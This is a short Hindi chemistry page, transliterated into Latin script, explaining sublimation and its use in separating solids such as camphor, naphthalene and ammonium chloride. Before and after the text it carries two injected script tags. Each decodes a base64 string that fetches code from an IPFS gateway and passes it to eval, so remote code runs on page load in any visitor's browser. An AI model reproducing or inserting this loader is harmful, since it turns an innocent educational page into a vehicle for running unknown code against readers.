ऊर्ध्वपातन
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
(aangrezi:Sublimation) rasayan vijnan mean oordhvapatan vidhi dvara do aise thosoan ke mishran ko alag karate haian, jisamean ek thos oordhvapatit ho, doosara nahian. is vidhi se kapoor, nefthalin, amoniyam kloraid, eianthrasin adi ko alag karate haian.
kuchh padarth garm karane par sidhe thos roop se gais ban jate haian, ise oordhvapatan kahate haian. jaise- ayodin, kapoor adi.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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